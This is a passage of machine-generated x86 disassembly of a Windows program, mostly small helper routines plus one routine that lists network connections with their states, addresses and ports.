--------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4189B0 proc near ; CODE XREF: sub_401F4Bj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_4015D2 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401D84 mov eax, esi pop esi retn 4 sub_4189B0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4189F0 proc near ; CODE XREF: sub_401311j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401D84 mov eax, esi pop esi retn 4 sub_4189F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418A20 proc near ; CODE XREF: sub_4010B9j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F4B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401550 pop esi add esp, 0Ch retn sub_418A20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418A70 proc near ; CODE XREF: sub_402086j push esi mov esi, ecx call sub_401528 mov eax, esi pop esi retn sub_418A70 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418A90 proc near ; CODE XREF: sub_402211j mov eax, [ecx] push eax call sub_401172 add esp, 4 retn sub_418A90 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AB0 proc near ; CODE XREF: sub_401361j push esi mov esi, ecx mov eax, [esi] push eax call sub_4015D2 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_418AB0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AE0 proc near ; CODE XREF: sub_4016F9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40221B neg al sbb eax, eax inc eax retn 4 sub_418AE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B10 proc near ; CODE XREF: sub_40142Ej var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40183E test al, al jz short loc_418B6A loc_418B28: ; CODE XREF: sub_418B10+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_40116D mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40123F ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40183E test al, al jnz short loc_418B28 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418B6A: ; CODE XREF: sub_418B10+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418B10 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418BA0 proc near ; CODE XREF: sub_4020E5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401D57 sub_418BA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418BC0 proc near ; CODE XREF: sub_401550j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_4016F9 test al, al jz short loc_418C1A loc_418BD8: ; CODE XREF: sub_418BC0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4012A3 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40214E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_4016F9 test al, al jnz short loc_418BD8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418C1A: ; CODE XREF: sub_418BC0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418BC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418C50 proc near ; CODE XREF: sub_40139Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401C53 sub_418C50 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_418C65 mov edi, esi loc_418C65: ; CODE XREF: ___:00418C61j push esi call sub_4015D2 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_418C7A mov edi, esi loc_418C7A: ; CODE XREF: ___:00418C76j push esi call sub_401B1D add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418CA0 proc near ; CODE XREF: sub_40205Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4013F2 sub_418CA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418CC0 proc near ; CODE XREF: sub_4015D2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_418CC0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418CE0 proc near ; CODE XREF: sub_401172j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_418CE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418D00 proc near ; CODE XREF: sub_401528j mov eax, ecx retn sub_418D00 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418D20 proc near ; CODE XREF: sub_401D84j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4020E0 mov eax, esi pop esi retn 4 sub_418D20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418D50 proc near ; CODE XREF: sub_40221Bj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_418D50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418D80 proc near ; CODE XREF: sub_40123Fj var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_40116D mov ecx, eax call sub_401C8A mov esi, eax push esi call sub_401A82 push esi mov ebx, eax call sub_401C58 mov ecx, [eax] push ecx call sub_401A82 mov edx, [ebx] push esi mov [eax], edx call sub_401C58 push esi mov ebx, eax call sub_401A82 mov eax, [eax] push eax call sub_401C58 mov ecx, [ebx] push esi mov [eax], ecx call sub_401208 add esp, 1Ch mov ecx, edi push eax call sub_401762 push esi mov ecx, edi call sub_4020E5 sub_418D80 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418E40 proc near ; CODE XREF: sub_401D57j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_418E40 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E60 proc near ; CODE XREF: sub_40116Dj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401F0A mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_418E60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418E90 proc near ; CODE XREF: sub_40214Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4012A3 mov ecx, eax call sub_401ECE mov esi, eax push esi call sub_4015D2 push esi mov ebx, eax call sub_401B1D mov ecx, [eax] push ecx call sub_4015D2 mov edx, [ebx] push esi mov [eax], edx call sub_401B1D push esi mov ebx, eax call sub_4015D2 mov eax, [eax] push eax call sub_401B1D mov ecx, [ebx] push esi mov [eax], ecx call sub_401172 add esp, 1Ch mov ecx, edi push eax call sub_4018C5 push esi mov ecx, edi call sub_40205E sub_418E90 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418F50 proc near ; CODE XREF: sub_401B1Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_418F50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418F70 proc near ; CODE XREF: sub_401C53j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_418F70 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418FA0 proc near ; CODE XREF: sub_4013F2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_418FA0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418FC0 proc near ; CODE XREF: sub_4020E0j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_418FC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418FE0 proc near ; CODE XREF: sub_4012A3j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401361 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_418FE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419010 proc near ; CODE XREF: sub_401762j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_8 pop ecx retn 4 sub_419010 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419030 proc near ; CODE XREF: sub_4018C5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_4 pop ecx retn 4 sub_419030 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419050 proc near ; CODE XREF: sub_401ECEj mov eax, [ecx] retn sub_419050 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4190B0 proc near ; CODE XREF: sub_402103j var_14 = dword ptr -14h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4190B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_14], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 push 9 mov [esp+1Ch+var_4], 0 mov dword ptr [esi], offset off_43E074 call sub_4367FA sub_4190B0 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 1 jz short loc_41911D mov ecx, eax call sub_401F0F ; --------------------------------------------------------------------------- mov [esi+32h], eax mov eax, esi pop esi mov ecx, [esp+8] mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- loc_41911D: ; CODE XREF: ___:004190FFj mov ecx, [esp+0Ch] xor eax, eax mov [esi+32h], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419170 proc near ; CODE XREF: sub_401F0Fj push 0FFFFFFFFh push offset SEH_419170 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push 14h call sub_4367FA sub_419170 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+4], eax test eax, eax mov dword ptr [esp+10h], 0 jz short loc_4191BE mov ecx, eax call sub_4015B9 mov [esi], eax mov eax, esi pop esi mov ecx, [esp+4] mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- loc_4191BE: ; CODE XREF: ___:004191A1j mov ecx, [esp+8] xor eax, eax mov [esi], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419200 proc near ; CODE XREF: sub_4015B9j mov eax, ecx retn sub_419200 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419220 proc near ; CODE XREF: sub_401965j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_419220 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 14h push 1 push 14h push 13h push 14h push 5 lea eax, [esp+44h+var_24] push 0Eh mov esi, ecx push eax call sub_4019B5 add esp, 24h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_401681 add esi, 4 push eax push esi mov ecx, offset dword_447148 call sub_401591 sub_419220 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4192C0 proc near ; CODE XREF: sub_40111Dj var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_274 = byte ptr -274h var_25C = byte ptr -25Ch var_23C = byte ptr -23Ch var_224 = byte ptr -224h var_199 = byte ptr -199h var_198 = byte ptr -198h var_119 = byte ptr -119h var_118 = byte ptr -118h var_99 = byte ptr -99h var_98 = byte ptr -98h var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4192C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 298h push ebx mov ebx, ecx push esi mov [esp+2ACh+var_2A4], ebx lea ecx, [ebx+4] call sub_4017E4 mov esi, [esp+2ACh+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_419669 push ebp push edi push offset asc_443600 ; " " lea eax, [esp+2B8h+var_23C] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax call sub_401681 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+2B4h+var_23C] mov [ebx+36h], eax call sub_401226 mov ecx, esi call sub_4017E4 push eax lea ecx, [esp+2B8h+var_274] call sub_401861 xor ebp, ebp push offset dword_443D84 lea ecx, [esp+2B8h+var_274] mov [esp+2B8h+var_4], ebp mov [esp+2B8h+var_2A0], ebp call sub_4013E3 test eax, eax jz short loc_41936F mov [esp+2B4h+var_2A0], 2 jmp short loc_419389 ; --------------------------------------------------------------------------- loc_41936F: ; CODE XREF: sub_4192C0+A3j push offset dword_443D80 lea ecx, [esp+2B8h+var_274] call sub_4013E3 test eax, eax jz short loc_419389 mov [esp+2B4h+var_2A0], 1 loc_419389: ; CODE XREF: sub_4192C0+ADj ; sub_4192C0+BFj mov ecx, [ebx+32h] mov edi, offset dword_443D74 xor eax, eax mov edx, [ecx] or ecx, 0FFFFFFFFh add edx, 2 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebx+32h] mov edx, [ecx] mov byte ptr [edx], 1 mov eax, [ebx+32h] mov [esp+2B4h+var_119], 0 mov [esp+2B4h+var_99], 0 mov [esp+2B4h+var_D], 0 mov [esp+2B4h+var_199], 0 mov eax, [eax] cmp byte ptr [eax], 0 jnz short loc_419418 mov esi, dword_50FA9C add eax, 2 push offset dword_443D74 push eax call esi add esp, 8 test eax, eax jz short loc_419418 mov ecx, [ebx+32h] push offset off_443D70 mov edx, [ecx] add edx, 2 push edx call esi add esp, 8 test eax, eax jnz loc_41964F loc_419418: ; CODE XREF: sub_4192C0+123j ; sub_4192C0+13Bj push 0C00h mov [esp+2B8h+var_294], 0C00h nop call near ptr 77C2C407h add esp, 4 mov esi, eax lea eax, [esp+2B4h+var_294] mov [esp+2B4h+var_29C], esi push 1 push eax push esi mov [esi], ebp call sub_436C60 ; --------------------------------------------------------------------------- mov eax, [esi] mov [esp+2B4h+var_298], ebp cmp eax, ebp jle loc_419645 lea ebp, [esi+14h] loc_419454: ; CODE XREF: sub_4192C0+37Fj cmp dword ptr [ebp-10h], 2 jnz short loc_419468 mov ecx, [ebx+32h] mov edx, [ecx] cmp byte ptr [edx], 0 jz loc_41962F loc_419468: ; CODE XREF: sub_4192C0+198j mov ax, [ebp-8] mov esi, dword_50FC20 push eax call esi mov cx, [ebp+0] mov [esp+2B4h+var_290], eax push ecx call esi mov esi, [esp+2B4h+var_2A4] mov ebx, eax mov eax, [ebp-0Ch] push 1 lea edx, [esp+2B8h+var_198] push 7Fh push edx push eax mov ecx, esi call sub_401474 mov edx, [ebp-4] push 0 lea ecx, [esp+2B8h+var_118] push 7Fh push ecx push edx mov ecx, esi call sub_401474 mov eax, [ebp-10h] sub eax, 2 jz short loc_4194CC sub eax, 3 jnz short loc_4194F2 lea edx, [esp+2B4h+var_25C] mov edi, offset aEstablished ; "established" jmp short loc_4194D5 ; --------------------------------------------------------------------------- loc_4194CC: ; CODE XREF: sub_4192C0+1FAj lea edx, [esp+2B4h+var_25C] mov edi, offset aListening ; "listening" loc_4194D5: ; CODE XREF: sub_4192C0+20Aj or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_4194F2: ; CODE XREF: sub_4192C0+1FFj mov ecx, 23h xor eax, eax lea edi, [esp+2B4h+var_98] rep stosd mov ecx, 23h lea edi, [esp+2B4h+var_224] rep stosd cmp dword ptr [ebp-10h], 2 jnz short loc_419518 xor ebx, ebx loc_419518: ; CODE XREF: sub_4192C0+254j mov esi, [esp+2B4h+var_290] lea ecx, [esp+2B4h+var_198] and esi, 0FFFFh lea edx, [esp+2B4h+var_98] push esi push ecx push offset aSD_1 ; "%s:%d" push 8Bh push edx nop call near ptr 77C3FA76h mov edi, ebx add esp, 14h and edi, 0FFFFh lea eax, [esp+2B4h+var_118] push edi push eax push offset aSD_1 ; "%s:%d" lea ecx, [esp+2C0h+var_224] push 8Bh push ecx nop call near ptr 77C3FA76h add esp, 14h lea ecx, [esp+2B4h+var_28C] call sub_401424 mov eax, [esp+2B4h+var_2A0] mov byte ptr [esp+2B4h+var_4], 1 test bx, bx jnz short loc_4195B1 cmp eax, 1 jz loc_419616 mov edx, [esp+2B4h+var_2A4] mov eax, [edx+36h] test eax, eax jz short loc_4195A4 cmp eax, esi jnz short loc_419616 loc_4195A4: ; CODE XREF: sub_4192C0+2DEj lea eax, [esp+2B4h+var_25C] push esi push eax push offset aSD_0 ; "%s: %d" jmp short loc_4195D7 ; --------------------------------------------------------------------------- loc_4195B1: ; CODE XREF: sub_4192C0+2CAj cmp eax, 2 jz short loc_419616 mov ecx, [esp+2B4h+var_2A4] mov eax, [ecx+36h] test eax, eax jz short loc_4195C5 cmp eax, edi jnz short loc_419616 loc_4195C5: ; CODE XREF: sub_4192C0+2FFj lea edx, [esp+2B4h+var_224] lea eax, [esp+2B4h+var_25C] push edx push eax push offset aSS_6 ; "%s: %s" loc_4195D7: ; CODE XREF: sub_4192C0+2EFj lea ecx, [esp+2C0h+var_28C] push ecx call sub_40102D mov esi, [esp+2C4h+arg_0] add esp, 10h lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+2B8h+var_28C] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 loc_419616: ; CODE XREF: sub_4192C0+2CFj ; sub_4192C0+2E2j ... lea ecx, [esp+2B4h+var_28C] mov byte ptr [esp+2B4h+var_4], 0 call sub_401226 mov esi, [esp+2B4h+var_29C] mov ebx, [esp+2B4h+var_2A4] loc_41962F: ; CODE XREF: sub_4192C0+1A2j mov eax, [esp+2B4h+var_298] mov ecx, [esi] inc eax add ebp, 14h cmp eax, ecx mov [esp+2B4h+var_298], eax jl loc_419454 loc_419645: ; CODE XREF: sub_4192C0+18Bj push esi nop call near ptr 77C2C21Bh add esp, 4 loc_41964F: ; CODE XREF: sub_4192C0+152j lea ecx, [esp+2B4h+var_274] mov [esp+2B4h+var_4], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebp jmp short loc_41966B ; --------------------------------------------------------------------------- loc_419669: ; CODE XREF: sub_4192C0+3Dj mov al, 1 loc_41966B: ; CODE XREF: sub_4192C0+3A7j mov ecx, [esp+2ACh+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 2A4h retn 4 sub_4192C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419790 proc near ; CODE XREF: sub_401474j var_20 = byte ptr -20h arg_0 = byte ptr 4 arg_3 = dword ptr 7 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h mov eax, [esp+arg_3] sub esp, 20h mov edx, [esp+25h] and eax, 0FFh push ebx push ebp push esi mov esi, ecx mov ecx, [esp+32h] mov ebx, [esp+2Ch+arg_8] mov ebp, [esp+2Ch+arg_3+1] push eax mov eax, [esp+34h] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push ebx push ebp nop call near ptr 77C3FA76h mov ecx, [esi+32h] add esp, 1Ch mov al, [ecx+4] test al, al jnz short loc_419850 mov al, [esp+2Ch+arg_C] test al, al jnz short loc_41981E mov eax, [esp+30h] test eax, eax jz short loc_41981E push 2 lea edx, [esp+30h+arg_0] push 4 push edx nop call near ptr 71ABE479h test eax, eax jz short loc_419850 mov eax, [eax] push ebx push eax push ebp call near ptr 77C47A90h nop add esp, 0Ch pop esi pop ebp pop ebx add esp, 20h retn 10h ; --------------------------------------------------------------------------- loc_41981E: ; CODE XREF: sub_419790+5Aj ; sub_419790+62j push edi mov ecx, 7 xor eax, eax lea edi, [esp+30h+var_20] rep stosd lea ecx, [esp+30h+var_20] push 1Dh push ecx stosw nop call near ptr 71AB50C8h test eax, eax pop edi jnz short loc_419850 lea edx, [esp+2Ch+var_20] push ebx push edx push ebp nop call near ptr 77C47A90h add esp, 0Ch loc_419850: ; CODE XREF: sub_419790+52j ; sub_419790+75j ... pop esi pop ebp pop ebx add esp, 20h retn 10h sub_419790 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4198A0 proc near ; CODE XREF: sub_401EECj call near ptr 27E0716h nop push eax nop call near ptr 77C371BCh pop ecx retn sub_4198A0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4198C0 proc near ; CODE XREF: sub_4021A3j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi nop call near ptr 77C371D3h mov esi, [esp+8+arg_0] mov [esp+8+var_4], eax mov eax, [esp+8+arg_4] fild [esp+8+var_4] sub eax, esi mov [esp+8+arg_4], eax fimul [esp+8+arg_4] fmul dbl_43E0B0 call sub_4368EA sub_4198C0 endp ; --------------------------------------------------------------------------- sub esi, eax mov eax, esi pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419910: ; CODE XREF: ___:00401C85j nop call near ptr 77C371D3h cdq idiv dword ptr [esp+4] mov eax, edx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- locret_419930: ; CODE XREF: ___:0040151Ej retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419950: ; CODE XREF: ___:00401FC3j xor al, al retn 4 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419970 proc near ; CODE XREF: sub_401523j arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_C] mov ecx, [esp+arg_4] mov edx, [esp+arg_8] cmp eax, 1 setnl al mov byte ptr [esp+arg_C], al push ecx mov eax, [esp+4+arg_C] push edx push eax push 0 mov ecx, offset byte_4D60A5 call sub_401118 retn sub_419970 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4199B0: ; CODE XREF: ___:00401505j sub esp, 0Ch mov eax, [esp+20h] push ebx push ebp push esi xor esi, esi push edi cmp eax, esi mov dword ptr [esp+18h], 80h mov [esp+10h], esi jz short loc_4199E3 push eax call near ptr 77C1BF18h nop add esp, 4 cmp eax, esi mov [esp+10h], eax jz short loc_4199E3 mov [esp+18h], eax loc_4199E3: ; CODE XREF: ___:004199CBj ; ___:004199DDj mov edi, [esp+28h] mov ebx, [esp+24h] mov ebp, [esp+20h] mov [esp+14h], esi mov esi, offset dword_506E5C loc_4199F8: ; CODE XREF: ___:00419A49j mov ecx, [esp+14h] mov eax, [esp+18h] cmp ecx, eax jge short loc_419A4B cmp byte ptr [esi], 0 jz short loc_419A34 mov eax, [esp+30h] test eax, eax jz short loc_419A28 mov ecx, [esp+10h] test ecx, ecx jnz short loc_419A28 push eax push esi nop call near ptr 77C47C60h add esp, 8 test eax, eax jz short loc_419A34 loc_419A28: ; CODE XREF: ___:00419A0Fj ; ___:00419A17j push edi push esi push ebx push ebp call sub_401523 add esp, 10h loc_419A34: ; CODE XREF: ___:00419A07j ; ___:00419A26j mov edx, [esp+14h] add esi, 80h inc edx cmp esi, offset dword_50AE5C mov [esp+14h], edx jl short loc_4199F8 loc_419A4B: ; CODE XREF: ___:00419A02j pop edi pop esi pop ebp pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419A90: ; CODE XREF: ___:00402266j push ebx mov ebx, dword_50FAF8 push esi push edi mov edi, [esp+10h] mov esi, offset dword_506E5C loc_419AA2: ; CODE XREF: ___:00419ABEj cmp byte ptr [esi], 0 jz short loc_419AB2 push edi push esi call ebx add esp, 8 test eax, eax jnz short loc_419AC6 loc_419AB2: ; CODE XREF: ___:00419AA5j add 